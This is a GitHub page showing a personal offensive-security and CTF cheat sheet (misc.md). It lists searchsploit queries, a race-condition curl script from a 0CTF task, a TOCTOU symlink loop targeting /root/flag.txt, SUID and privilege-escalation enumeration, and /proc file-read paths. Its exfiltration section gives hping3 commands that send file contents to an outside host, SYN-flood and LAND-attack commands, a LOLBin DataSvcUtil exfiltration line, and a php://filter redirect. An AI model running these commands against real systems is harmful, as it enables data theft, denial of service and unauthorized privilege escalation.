Skip to content

Latest commit

 

History

History
344 lines (289 loc) · 11.5 KB

misc.md

File metadata and controls

344 lines (289 loc) · 11.5 KB
Raw

+

vulnerability databases

# https://github.com/offensive-security/exploitdb.git
searchsploit afd windows local
searchsploit -t oracle windows
searchsploit -p 39446
searchsploit linux kernel 3.2 --exclude="(PoC)|/dos/"
searchsploit -s Apache Struts 2.0.0
searchsploit linux reverse password
searchsploit -j 55555 | json_pp

# Given exploit with available metasploit module
msf > search $regex

racing, race-condition

  • Temmo's Tiny Shop - 0CTF 2017

    username=
password=
cookie1="PHPSESSID=3k21rt4acut215r1adlrq5m0p0"
cookie2="PHPSESSID=ck8pgb52nkkb8sdg2c95ms7s16"
url="http://202.120.7.197/app.php"

curl "$url?action=login" -b $cookie1 -d "username=$username&pwd=$password" &
curl "$url?action=login" -b $cookie2 -d "username=$username&pwd=$password"

curl "$url?action=buy&id=1" -b $cookie1

curl "$url?action=sale&id=1" -b $cookie1 &
curl "$url?action=sale&id=1" -b $cookie2

  • https://github.com/saw-your-packet/ctfs/blob/master/DarkCTF/Write-ups.md#-chain-race

    • ~/share/ctf/darkctf2020/chain-race/

TOCTOU

while true; do
    dd if=/dev/urandom count=$((1024 * 20)) bs=1024 > bigfile
    chmod 777 bigfile
    /exploitable bigfile &
    ln -sf /root/flag.txt bigfile
    sleep 0.1
    rm -f bigfile
done

symlink

priviledge escalation

enumeration

  • ~/opt/privilege-escalation-awesome-scripts-suite/
  • ~/opt/LinEnum/
sudo -l

# specific uid
find / -uid 1001 -type f 2>/dev/null

# suid
find / -perm -u=s -type f 2>/dev/null

crypt

pocs

remote code execution (RCE)

process pseudo-filesystem

  • /proc/self/cmdline
  • /proc/self/cwd
  • /proc/self/environ
  • /proc/self/exe
  • /proc/self/maps
    • [!] zero size, but sequentially readable (e.g. cat, http request with header Range: bytes 0-4096)

data exfiltration

  • DNS
  • TCP 
    # ICMP (using file contents)
hping3 -E foo.txt -1 -u -i 10 -d 1.2.3.4 95
# TCP ACK (using file contents)
hping3 -E foo.txt -A 1.2.3.4
# SYN flood
hping3 -V -c 1000 -d 100 -p 8080 -S -- flood 1.2.3.4
# LAND attack
hping3 -V -c 1000 -d 100 -p 8080 -s 18080 -S -k -a 1.2.3.4 1.2.3.4
    # https://debugactiveprocess.medium.com/data-exfiltration-with-lolbins-20e5e9c1ed8e
C:\Windows\Microsoft.NET\Framework64\v3.5\DataSvcUtil.exe /out:C:\\temp\\foo /uri:https://foo?$data
  • URI scheme
    • file, ftp, zlib, data, glob, phar, ssh2, rar, ogg, ftps, compress.zlib, compress.bzip2, zip
  • bypass URL access rules with redirections (responses with code 3xx)
    • repeat parameter containing url to visit: 2nd url redirects to 3rd url
    <?php
header('HTTP/1.1 301 Redirect');
header('Location: php://filter/string.toupper/resource=index.php');
?>
  • USB over IP 
    # On localhost:
# Given "GatewayPorts yes" enabled in $vps_host sshd_config
ssh $user@$vps_host -R 3240:localhost:3240

# On $vps_host:
sudo modprobe usbip-host
sudo modprobe usbip-core
sudo usbipd -D
sudo usbip list -l # Take bus id of second keyboard = 1-7
sudo usbip --debug bind -b 1-7

# On $vulnerable_host:
# Given TTY of connected user = ttyS0
/sbin/usbip attach -r $vps_host -b 1-7 &
cat /dev/ttyS0

# On $vps_host:
cat flag.txt > /dev/ttyS0
  • TLS SNI field

encodings

binary-to-text

unicode

morse

The Morse code consists of several "dot", "dash" and "interval". The ratio of "dot" and "dash" is 1:3, The ratio of "intra-code interval", "inter-code interval" and "code group interval" is 1:3:5 - ~/Downloads/Morse Recognition Algorithm Based on K-means.pdf

signal decoding

yaml